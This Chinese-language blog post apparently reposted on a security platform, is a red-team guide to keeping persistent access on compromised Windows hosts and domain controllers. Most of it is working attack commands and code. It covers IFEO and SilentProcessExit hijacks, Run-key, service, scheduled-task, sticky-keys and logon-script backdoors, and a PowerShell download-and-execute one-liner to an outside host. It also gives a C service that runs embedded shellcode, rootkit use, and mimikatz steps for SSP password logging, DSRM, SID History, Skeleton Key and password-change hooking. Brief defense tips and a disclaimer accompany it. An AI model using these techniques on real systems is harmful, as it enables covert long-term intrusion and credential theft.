长亭百川云 - 文章详情

【内网渗透】Windows主机及域权限维持

安全透视镜

53

2024-07-17

红队人员拿到一台主机权限后首先会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。

Windows单主机权限维持

映像劫持

Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。

当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子键中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。

注册表路径

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

在iexplorer.exe中加入键值对:debugger c:\windows\system32\cmd.exe

命令行修改

需要管理权限

1、在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe。

随便找了个lcx.exe程序进行劫持

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lcx.exe" /v Debugger /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

启动lcx.exe后,成功上线

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

扩展

上述方法会对使用的exe进行劫持,导致打不开对方想打开的程序,很容易被发现,所以可以尝试扩展一下劫持方法

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe"  /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe"  /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe

当关闭calc.exe后,就会执行shell.exe,这样既不影响程序本身功能,又能成功执行恶意程序

上述方法在注册表中又添加了ReportingMode和MonitorProcess 这两个值:

  • MonitorProcess的值表示监视器进程

  • Reporting Mode可以设置为三个值 

这里设置的值是1,所以当检测到calc.exe进程静默退出时,将会启动监视器进程,而监视进程又设置的是shell.exe,所以就会成功上线

防御

  1. 排查HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options 以及HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit项值是否存在关联。

  2. 分析系统日志,日志ID为3000和3001,即有可能存在后门威胁。

  3. 直接删除IFEO项或者设置管理员不可修改

自启动服务后门

自启动路径加载

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

自启动服务加载

sc create ServiceTest binPath= C:\shell.exe  start= auto

可以通过如下命令行方式添加一个服务

sc create "SD" binpath=   "C:\Users\SD\Desktop\test.exe"
 sc description "SD"   "description" 设置服务的描述字符串
 sc config "SD"   start= auto  设置这个服务为自动启动
 net start "SD"   启动服务

删除

sc delete ServiceTest

也可以直接编写一个服务,穿插着shellcode上线

#include <windows.h>
#include <iostream>
unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
#define SLEEP_TIME 5000                          /*间隔时间*/
#define LOGFILE "C:\\Windows\\log1.txt"              /*信息输出文件*/
SERVICE_STATUS ServiceStatus;  /*服务状态*/
SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/
void  ServiceMain(int argc, char** argv);
void  CtrlHandler(DWORD request);
int   InitService();
int main(int argc, CHAR* argv[])
{
    WCHAR WserviceName[] = TEXT("sddd");
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = WserviceName;
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    StartServiceCtrlDispatcher(ServiceTable);
    return 0;
}
int WriteToLog(const char* str)
{
    FILE* pfile;
    fopen_s(&pfile, LOGFILE, "a+");
    if (pfile == NULL)
    {
        return -1;
    }
    fprintf_s(pfile, "%s\n", str);
    fclose(pfile);
    return 0;
}
/*Service initialization*/
int InitService()
{
    CHAR Message[] = "Monitoring started.";
    OutputDebugString(TEXT("Monitoring started."));
    int result;
    result = WriteToLog(Message);
    return(result);
}
/*Control Handler*/
void CtrlHandler(DWORD request)
{
    switch (request)
    {
    case SERVICE_CONTROL_STOP:
        WriteToLog("Monitoring stopped.");
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    case SERVICE_CONTROL_SHUTDOWN:
        WriteToLog("Monitoring stopped.");
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    default:
        break;
    }
    /* Report current status  */
    SetServiceStatus(hStatus, &ServiceStatus);
    return;
}
void ServiceMain(int argc, char** argv)
{
    WCHAR WserviceName[] = TEXT("sddd");
    int error;
    ServiceStatus.dwServiceType =
        SERVICE_WIN32;
    ServiceStatus.dwCurrentState =
        SERVICE_START_PENDING;
    /*在本例中只接受系统关机和停止服务两种控制命令*/
    ServiceStatus.dwControlsAccepted =
        SERVICE_ACCEPT_SHUTDOWN |
        SERVICE_ACCEPT_STOP;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    hStatus = ::RegisterServiceCtrlHandler(
        WserviceName,
        (LPHANDLER_FUNCTION)CtrlHandler);
    if (hStatus == (SERVICE_STATUS_HANDLE)0)
    {
        WriteToLog("RegisterServiceCtrlHandler failed");
        return;
    }
    WriteToLog("RegisterServiceCtrlHandler success");
    /* Initialize Service   */
    error = InitService();
    if (error)
    {
        /* Initialization failed  */
        ServiceStatus.dwCurrentState =
            SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = -1;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }
    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
    /*向SCM 报告运行状态*/
    ServiceStatus.dwCurrentState =
        SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);
    /*do something you want to do in this while loop*/
    MEMORYSTATUS memstatus;
    while (ServiceStatus.dwCurrentState ==
        SERVICE_RUNNING)
    {
        char buffer[16];
        GlobalMemoryStatus(&memstatus);
        int availmb = memstatus.dwAvailPhys / 1024 / 1024;
        sprintf_s(buffer, 100, "available memory is %dMB", availmb);
        int result = WriteToLog(buffer);
        if (result)
        {
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            ServiceStatus.dwWin32ExitCode = -1;
            SetServiceStatus(hStatus,
                &ServiceStatus);
            return;
        }
        Sleep(SLEEP_TIME);
    }
    WriteToLog("service stopped");
    return;
}

这其实也是psexec的原理:建立连接后创建服务反弹shell

自启动注册表加载

当前用户键值

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

服务器键值(需要管理员权限)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

添加一个test自启动任务,执行shell.exe命令

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

PS:哪个账户设置的注册表就需要用哪个账户登录,才会实现开机自启

也可以使用代码实现

#include <iostream>
#include <windows.h>
BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName)
{
    //定义一个注册表句柄
    HKEY hKey;
    //打开注册表键
    if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
    {
        printf("[+] Open RegKey Successfully\n");
    }
    else
    {
        printf("[!] Open RegKey Error\n");
        return FALSE;
    }
    if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName))))
    {
        printf("[+] Set Value Successfully\n");
    }
    else
    {
        ::RegCloseKey(hKey);
        printf("[!] Set Value Error\n");
        return FALSE;
    }
    printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully\n");
    ::RegCloseKey(hKey);
    return TRUE;
}
int main(int argc, char* argv[])
{
    printf("[*]Useage:\n    %s %s %s\n","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor");
    if (argc == 3)
    {
        Reg_CurrentUser(argv[1], argv[2]);
    }
    else
    {
        printf("[!]Please check the number of your parameters\n");
    }
}

编译后运行结果

计划任务

创建名为test的计划任务,每隔一分钟运行一次,任务执行时指定执行的程序为calc.exe

schtasks /create /sc minute /mo 1 /tn test /tr C:\WINDOWS\system32\calc.exe /ru system

每天12:50运行

schtasks /create /tn "RunXD" /tr "C:\xd.exe" /sc daily /st 12:50

/sc参数用于指定任务的执行频率。daily表示这个任务每天都会执行。schtasks命令支持多种频率选项,如once(只执行一次)、weekly(每周)、monthly(每月)等。

还可以设置为:

#开机运行无需登录,所以不管哪个用户登陆后都会成功上线
schtasks /create /tn test /tr C:\WINDOWS\system32\calc.exe /sc onstart /ru system
                #登录运行
schtasks /create /tn test /tr C:\WINDOWS\system32\calc.exe /sc onlogon

其他命令

#查看计划任务
schtasks /query | findstr test
#删除计划任务
schtasks /delete /tn test /f
 #结束计划任务
schtasks /end /tn test
#运行计划任务
schtasks /run /tn test

策略组脚本维持

输入gpedit.msc 打开组策略,打开 windows设置 ->脚本(启动/关机) 在启动属性里面加上你的后门,那么每次重启再开机后,就会执行你的后门,同样达到权限维持

将你的后门文件存放这个绝对路径下:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

1.bat内放上要执行的命令,或脚本

net user Long 123456 /add && net localgroup administrators Long /add

粘滞键后门

系统自带的辅助功能进行替换执行,放大镜,旁白,屏幕键盘等均可。

利用条件:开放的远程终端连接服务(3389)

粘滞键位置:

c:\windows\system32\sethc.exe

修改权限:takeown /f C:\Windows\System32\sethc.exe

移动备份:move sethc.exe sethc1.exe

替换劫持:copy cmd.exe sethc.exe

需要连续按五次shift键才能触发,这种放上实战中不是太适用。

屏保&登陆

1、WinLogon配合无文件落地上线

切换用户登录或远程终端登录触发:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "userinit,C:\shell.exe"

2、屏幕保护生效后执行后门

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\2\xd.exe" /f

3、Logon Scripts登录脚本后门

Windows用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\2\xd.exe"
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.139.141:80/a'))"
"

RustDesk

下载地址

https://github.com/rustdesk/rustdesk

利用场景:无需网络,需要绕过杀毒等网络防护

读取远控文件

有网连接

这个工具的账号密码文件在C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk.toml下,不过很可惜,新版的这个工具可能无法读取文件了,老版是还有的。

无网内网连接:IP直连

C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk2.toml,添加下列内容。

direct-server = 'Y'      ##开启IP连接
direct-access-port = '8443' ##端口

然后就可以使用IP:Port远程连接

GotoHTTP

下载地址

https://gotohttp.com/goto/download.12x

GotoHTTP Windows版本是绿色软件,点击右边链接下载软件包,文件大小仅数百K,只有一个文件在软件包中,将其解压到你电脑的某个位置,并双击运行它, 将会自动连接到服务器并显示这台电脑的ID及控制码。

场景

无网络(1、压根没有网络,2、限制出网)

1、有网络,无限制

2、有网络,有限制(不限制https就可以)

3、无网络,有限制(不限制https就可以)

利用场景:有网络下,需要绕过杀毒等网络防护

B2C模式,无需安装控制端软件,有浏览器就可以远控。

流量走https协议,只要目标放行443端口出口就可以实现内网穿透。

在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。

被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)。

网络唤醒远程主机需加载驱动,导致运行时安全卫士会拦截这行为,其他杀软不会拦截。

 你运行完会发现,在该软件目录下会创建一个配置文件,届时你使用CS去读取一下这个配置文件就可以了,这个配置文件中会存在账户密码的。

登陆下面的网站,在网站上面会有一个输入账号密码的地方,这里输入上去就可以了,无需下载上面客户端,服务端的

https://gotohttp.com/

Rootkit权限维持

权限维持项目

https://bytecode77.com/r77-rootkit
https://github.com/bytecode77/r77-rootkit
https://github.com/Idov31/Nidhogg

R77 RootKit权限维持

隐藏进程

比如隐藏12t进程

点hide这样任务管理器就看不到了

隐藏本地tcp连接

隐藏目录

然后就没了

注意几点

1.r77配置在注册表的位置是HKEY_LOCAL_MACHINE\SOFTWARE\$77config,77安装完后,注册表编辑器被注入rootkit时,这个注册表项是不可见的。想看注册表需要先用 Test Console从regedit中分离rootkit。

2.可以用$+文件名隐藏该文件,当文件名不能更改时,建议使用名称来隐藏进程

3.文件夹有个Install.shellcode,他和install.exe的作用是等价的

4.r77不过是从进程列表里隐藏了进程,如果受害者打开了进程或者提前知道pid,还是能找到的,比如提前打开了程序在桌面,因为如果完全隐藏key,那r77也没办法读取到

5.HKCU\...\Run key这样是打不开一个隐藏进程的,因为windows也找不到这个目录

6.r77是注入到各进程,加载与内存实现持久化的,是无文件化的,所以shellcode不会体现在磁盘里,为了避免被扫描到,建议安装运行完把程序删除。

原理

SSP可以理解为一个用于身份验证的 dll,当目标系统在启动时SSP会被加载到Isass.exe进程中,而lsa可被扩展,所以目标机器在系统启动时可以加载一个我们自定义的dll文件,若我们定义一个恶意的DLL文件,在目标系统启动时自动加载到 lsass.exe进程中,那么攻击者就能够获取lsass.exe进程中的明文密码,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

实验

方式一:通过mimikatz注入到内存

目标无需重启系统,只要有用户登陆到此系统,那么就立即开始密码记录(但重启后就失效了).

mimikatz privilege::debug  
misc::memssp   
exit

执行后,若用户注销或者有其他用户登录到此系统,即可在windows\system32下生成mimilsa.log文件,其中就包含了登录的密码

方式二:添加mimilib.dll到注册表

1、将mimilib.dll文件传到域控的windows\system32下

2、用powershell修改一下注册表Security Packages的值,追加下刚刚的mimilib.dll:

powershell
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

此时就在注册表中添加了mimilib数据

3、重启系统,一旦有用户登陆到当前系统,就会在c:\windows\system32\目录下生成一个记录登陆账号密码的kiwissp.log文件

技术总结:

攻防实战中,靶机很难会重启,攻击者重启的话风险过大,

因此可以在靶机上把两个方法相互结合起来使用效果比较好,

尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。

DSRM

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

原理

除了krbtgt服务帐号外,域控上还有个可利用的账户:目录服务还原模式(DSRM)账户,这个密码是在DC安装的时候设置的,所以一般不会被修改。但是微软对DSRM帐号进行了限制,只允许在控制台登录。但通过修改注册表就可以实现网络验证并登录到DC。这样DSRM账户就可以看做一个本地管理员帐号。可以通过导出的HASH结合PTH方式,持续控制DC,即使域内用户密码都进行了修改也可以利用。

实验

1、先获取krbtgt的NTLM Hash

privilege::debug
lsadump::lsa /patch /name:krbtgt
#968f7362eca2705a4a9ff58e54680186

2、再读取SAM文件中本地管理员(DSRM)的NTLM Hash

token::elevate
lsadump::sam
#209c6174da490caeb422f3fa5a7ae634

3、将DSRM账号和krbtgt的NTLM Hash同步(为DSRM设置新密码)

NTDSUTIL                             #打开ntdsutil
set DSRM password                    #修改DSRM的密码
sync from domain account 域用户名字    #使DSRM的密码和指定域用户的密码同步
q(第1次)                              #退出DSRM密码设置模式
q(第2次)                              #退出ntdsutil

4、此时查看DSRM的NTLM Hash发现与krbtgt的已经同步了

privilege::debug
token::elevate
lsadump::sam

5、修改DSRM的登录方式

DSRM有三种登录方式,具体如下:

0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号

1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器

2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

powershell -exec bypass
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

6、使用DSRM账号通过网络远程登录域控制器

privilege::Debug
sekurlsa::pth /domain:win2012 /user:administrator /ntlm:3008c87294511142799dca1191e69a0f

上述方式需要执行privilege::Debug,因此对权限有一定要求,因此可以在hash同步时,选择一个域管理员的ntmlhash进行同步,这样就可以用wmiexec进行pth了。

防御

1、定期检查注册表中用于控制DSRM登录方式的键值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该键值为1,或者删除该键值

2、定期修改域中所有域控制器的DSRM账号

3、定期检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中

技术总结:

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

SID History 域控权限维持

SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利。

1、使用域控查看 test 用户的 SID History 属性

powershell -exec bypass
Import-Module ActiveDirectory
 Get-ADUser test -Properties sidhistory

2、用mimikatz将Administrator 的 SID 添加到恶意用户 test 的 SID History中

privilege::debug
sid::patch
sid::add /sam:test /new:administrator
# 清除恶意用户的 SID History 属性可用:
sid::clear /sam:test

3、此时查看 tester 用户的 SID History 属性

Get-ADUser test -Properties sidhistory

4、此时test用户便可直接访问域控

防御

1、经常查看域用户中SID为500的用户。

2、完成域迁移工作后,对有相同SID History属性的用户进行检查

3、定期检查ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

Skeleton Key(万能密码)

前提条件

需要拿到域控权限

原理

当拿到域控权限后,使用mimikatz可以注入Skeleon Key,将 Skeleton Key 注入域控制器的 lsass.exe 进程,这样会在域内的所有账号中添加一个 Skeleton Key,而这个key是自己设定的所以可以随时共享访问。

PS:由于注入到lsass.exe进程中,所以每次关机后就不存在了,但一般在真正的域环境中,域控在很长一段时间内是不会重启的,因此可以作为权限维持的一种方式。

实验

1、在域控机器上输入命令将 Skeleton Key 注入域控制器的 lsass.exe 进程:

mimikatz.exe "privilege::debug" "misc::skeleton" exit

2、建立与域控机器的ipc通道

net use \\win2012\ipc$ "mimikatz" /user:administrator

防御

域管理员用户要设置强密码,确保恶意代码不会在域控制器中执行。

在所有域用户中启用双因子认证,例如智能卡认证。

启动应用程序白名单(例如 AppLocker),以限制 mimikatz 在域控制器中的运行。

Hook PasswordChangeNotify 攻击

原理

Hook PasswordChangeNotify 的作用是当用户修改密码后在系统中进行同步。

攻击者可以利用该功能获取用户修改密码时输入的密码明文。

在修改密码时,用户输入新密码后,LSA 会调用 PasswordFileter 来检查该密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify,在系统中同步密码。这个过程中会有明文形式的密码进行传输,只需要改变PasswordChangeNotify的执行流,获取到传入的参数,也就能够获取到明文密码。

实验

1、使用vs生成 HookPasswordChange.dll,路径可自己修改。

下载地址:https://github.com/clymb3r/Misc-Windows-Hacking

这里修改的是C:\windows\SYSVOL\domain\Policies,也就是域内共享的路径,域成员可以使用普通用户权限读取该路径中的内容,因此写在这里当域控修改密码后,只要有一台普通域用户权限即可在该路径中查看修改后的密码

重新生成后会在该路径下生成dll文件

2、将Invoke-ReflectivePEInjection.ps1 脚本将 HookPasswordChange.dll 注入内存

下载地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

powershell -exec bypass  
Import-Module .\Invoke-ReflectivePEInjection.ps1  
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

3、手动修改域控密码

4、之后用普通用户权限既可以查看

dir \\win2012\SYSVOL\sentiment.com\Policies
type \\win2012\SYSVOL\sentiment.com\Policies\windows.log

防御

使用 Hook PasswordChangeNotify 方法不需要重启系统、不会在系统磁盘中留下 DLL 文件、不需要修改注册表。如果 PasswordChangeNotify 被攻击者利用,网络管理员是很难检测到的。

防御措施就是:对 Powershell 进行严格的监视。

参考:

https://forum.butian.net/share/524

https://xz.aliyun.com/t/9718

https://xz.aliyun.com/t/12539

https://blog.csdn.net/weixin\_53009585/article/details/130102898


文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2